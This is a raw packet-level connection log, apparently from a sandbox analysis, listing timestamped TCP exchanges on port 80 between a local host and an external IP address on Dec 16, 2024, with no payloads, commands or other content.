Dec 16, 2024 13:16:12.964612961 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.964672089 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.966027021 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.966160059 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.966278076 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.967456102 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.967530966 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.967605114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.967677116 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.968925953 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.969001055 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.969037056 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.969096899 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.970422029 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.970557928 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.970630884 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.971795082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.971860886 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.971884012 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.971942902 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.973160028 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.973228931 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.973303080 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.973366976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.974569082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.974723101 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.974792004 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.975954056 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.976022005 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.976074934 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.976141930 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.977307081 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.977389097 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.977432966 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.977500916 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.978682041 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.978816986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.978880882 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.980066061 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.980154037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.980207920 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.980271101 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.981410027 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.981488943 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.981503963 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.981568098 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.982832909 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.982891083 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.982963085 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.984078884 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.984155893 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.984237909 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.984298944 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.985419035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.985474110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.985491037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.985536098 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.986723900 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.986819983 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.986891031 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.988069057 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.988123894 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.988140106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.988184929 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.989357948 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.989425898 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.989495039 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.989561081 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.990631104 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.990729094 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.990750074 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.990817070 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.991951942 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.992058992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.992130995 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.993206024 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.993274927 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.993500948 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.993565083 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.994501114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.994575024 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.994606972 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.994672060 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.995769024 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.995824099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.995840073 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.995883942 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.997061968 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.997119904 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.997190952 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.998311043 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.998406887 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.998440981 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.998512030 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.999680996 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.999738932 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:12.999790907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:12.999838114 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.000998974 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.001112938 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.001142979 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.001202106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.002115965 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.002177954 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.002223969 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.002283096 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.003362894 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.003446102 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.003474951 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.003523111 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.004664898 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.004723072 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.004801035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.004862070 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.005928040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.006002903 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.006022930 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.006064892 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.007138014 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.007258892 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.007278919 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.007309914 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.008405924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.008522987 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.008589029 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.009671926 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.009732008 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.009767056 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.009814978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.010934114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.011059046 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.011112928 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.012204885 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.012296915 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.012371063 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.013483047 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.013539076 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.013600111 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.013761044 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.014754057 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.014880896 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.014933109 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.016002893 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.016103983 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.016138077 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.016182899 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.017263889 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.017375946 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.017420053 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.018531084 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.018626928 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.018712044 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.018764973 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.019754887 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.019814968 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.139866114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.139935970 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.140201092 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.140291929 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.140357971 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.140431881 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.140494108 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.141320944 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.141376972 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.141413927 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.141479015 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.142168999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.142231941 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.142275095 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.142333031 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.143174887 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.143238068 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.143348932 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.143481016 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.144156933 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.144234896 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.144268990 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.144324064 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.145097971 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.145205021 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.145257950 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.145289898 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.146100998 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.146265030 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.146337986 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.147031069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.147097111 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.147185087 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.147239923 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.148006916 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.148066044 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.148108006 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.148160934 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.148984909 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.149041891 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.149218082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.149272919 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.149943113 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.150005102 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.150047064 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.150211096 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.150893927 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.150949955 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.150991917 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.151046038 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.151870012 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.151931047 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.151969910 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.152026892 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.152861118 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.152991056 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.153045893 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.153860092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.153927088 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.153927088 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.153983116 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.154798031 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.155179977 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.155246973 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.155723095 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.155782938 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.155822992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.155870914 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.156687975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.156749010 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.156789064 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.156843901 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.157744884 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.157814026 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.157865047 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.158652067 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.158684015 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.158716917 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.158751011 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.159624100 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.159682989 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.159729958 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.160583019 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.160644054 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.160715103 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.160770893 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.161569118 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.161632061 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.161722898 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.161776066 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.162686110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.162755966 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.162817001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.163464069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.163520098 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.163603067 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.163659096 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.164462090 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.164535046 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.164587021 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.165416956 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.165477991 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.165549040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.165612936 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.166373968 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.166425943 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.166484118 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.167308092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.167373896 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.167417049 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.167470932 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.168268919 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.168327093 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.168376923 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.168432951 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.169239044 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.169294119 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.169338942 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.169397116 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.170424938 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.170533895 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.170582056 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.170612097 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.171211958 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.171269894 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.171367884 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.171430111 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.172144890 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.172214985 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.172301054 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.172354937 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.173141956 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.173221111 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.173297882 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.173331976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.174087048 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.174185991 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.174242973 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.175029993 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.175093889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.175143957 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.175194979 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.175991058 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.176093102 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.176146984 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.176973104 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.177076101 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.177114964 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.177146912 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.178008080 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.178059101 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.178152084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.178931952 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.178989887 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.179052114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.179183006 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.179900885 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.179960966 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.180012941 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.180075884 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.180835962 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.180938005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.181015015 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.181835890 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.181895971 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.181901932 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.181932926 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.182796001 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.182894945 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.182955980 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.183792114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.183855057 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.183871031 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.183933020 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.184701920 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.184802055 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.184809923 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.184843063 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.185676098 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.185760021 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.185770035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.185837030 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:13.186645031 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.186758995 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:13.186817884 CET	49711	80	192.168.2.8	31.41.244.11
